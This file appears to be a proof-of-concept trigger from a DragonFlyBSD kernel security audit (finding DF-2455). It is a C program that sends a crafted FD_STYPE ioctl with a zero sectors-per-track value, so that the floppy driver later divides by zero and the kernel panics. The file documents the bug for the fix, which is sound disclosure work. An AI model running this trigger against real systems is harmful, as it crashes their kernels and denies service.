DragonFlyBSD Kernel Audit
DF-2455 / fd_stype.c
← back to finding ↓ download raw
/*
 * DF-2455 trigger (NOT runnable on this audit guest — see VERDICT.md).
 *
 * Issues FD_STYPE with an attacker-crafted struct fd_type whose sectrac==0
 * (or heads==0), arming a kernel divide-by-zero trap that fires on the next
 * open()/I/O against the floppy drive (d_ncylinders = size / (sectrac*heads),
 * d_secpercyl=0).  Also demonstrates the secsize shift-UB variant
 * (128 << secsize for secsize>=25 / >=32).
 *
 * FD_STYPE is gated by caps_priv_check(SYSCAP_RESTRICTEDROOT) -> requires root
 * (sys/dev/disk/fd/fd.c:2327).  The unprivileged->kernel angle from the
 * finding is "root plants the bad type, an unprivileged operator-group user
 * trips the trap on open()".
 *
 * REQUIRES a floppy controller (ISA FDC) + /dev/fd0, which THIS QEMU audit
 * guest does not have (no -fda, no FDC; and X86_64_GENERIC has no `device fd`,
 * so the driver is not even compiled in).  On a machine WITH a floppy it
 * reproduces a kernel divide-by-zero panic.
 *
 * Build: cc -o fd_stype fd_stype.c
 * Run:   ./fd_stype /dev/fd0        (as root)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

/* mirror of sys/platform/pc64/include/ioctl_fd.h */
struct fd_type {
    int sectrac; int secsize; int datalen; int gap;
    int tracks; int size; int steptrac; int trans;
    int heads; int f_gap; int f_inter;
};
#define FD_STYPE _IOW('F', 63, struct fd_type)

int main(int argc, char **argv)
{
    const char *dev = argc >= 2 ? argv[1] : "/dev/fd0";
    int fd = open(dev, O_RDWR);
    if (fd < 0) { perror(dev); return 1; }

    /* arm div-by-zero: sectrac=0 -> d_secpercyl = 0*heads = 0 */
    struct fd_type bad;
    memset(&bad, 0, sizeof(bad));
    bad.sectrac = 0;          /* divisor -> 0 */
    bad.heads   = 2;
    bad.secsize = 2;
    bad.size    = 2880;

    if (ioctl(fd, FD_STYPE, &bad) < 0) {
        perror("FD_STYPE (sectrac=0)"); /* EINVAL with the fix */
    } else {
        printf("FD_STYPE installed sectrac=0 -> div-by-zero armed\n");
    }
    /* On the UNPATCHED driver, the next geometry inquiry / open computes
     * d_ncylinders = size / (sectrac*heads) -> divide-by-zero trap (panic).
     * (Trigger the consumer by re-opening or issuing a geometry query.) */
    close(fd);
    return 0;
}